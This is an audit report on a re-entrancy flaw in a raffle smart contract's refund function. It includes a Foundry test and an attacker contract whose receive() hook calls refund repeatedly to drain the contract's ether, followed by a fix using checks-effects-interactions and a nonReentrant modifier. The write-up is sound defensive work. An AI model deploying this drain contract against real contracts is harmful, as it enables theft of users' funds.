Summary
PuppyRaffle::refund() function is vulnerable to re-entrancy, all funds can be drained
Vulnerability Details
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
PuppyRaffle::refund() function doesn't follow the "CEI" pattern, nor implement nonReentrant modifier from OpenZeppelin contracts, so is vulnerable to re-entrant attact.
Impact
Any user who has entered the raffle can drain all funds with a re-entrant attack.
Proof of concept in foundry:
Test Contract:
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
import {HackContract} from "../src/HackContract.sol";
contract MyTest is Test {
PuppyRaffle puppyRaffle;
uint256 entranceFee = 1e18;
address player1 = address(1);
address player2 = address(2);
address player3 = address(3);
address player4 = address(4);
address player5 = address(5);
address player6 = address(6);
address feeAddress = address(99);
address hacker = address(10);
uint256 duration = 1 days;
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
address[] memory players = new address[](8);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
players[4] = address(5);
players[5] = address(6);
players[6] = address(7);
players[7] = address(8);
puppyRaffle.enterRaffle{value: 8 ether}(players);
vm.deal(hacker, 2 ether);
}
function test_ReEntrancy() public {
vm.prank(hacker);
HackContract hackContract = new HackContract{value: 1 ether}(puppyRaffle);
console.log("hackContract balance ", address(hackContract).balance);
console.log("puppy balance ", address(puppyRaffle).balance);
hackContract.enterRuffle();
hackContract.askRefund();
console.log("---------after exploit: ------ ");
console.log("hackContract balance: ", address(hackContract).balance);
console.log("puppy balance: ", address(puppyRaffle).balance);
}
}
hackContract:
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract HackContract {
PuppyRaffle puppyRaffle;
constructor(PuppyRaffle _targetContract) payable {
puppyRaffle = _targetContract;
}
function enterRuffle() public {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: 1 ether}(players);
}
function askRefund() public {
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(indexOfPlayer);
}
receive() external payable {
if (address(puppyRaffle).balance >= 1 ether) {
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(indexOfPlayer);
}
}
}
Tools Used
foundry
Recommendations
follow the Check-effect-interact pattern or/and implement nonReentrant modifier from OpenZeppelin contracts
+function refund(uint256 playerIndex) public nonReentrant { // add nonReentrant modifier from OpenZeppelin contracts
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0); // change contracts variable before external call
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}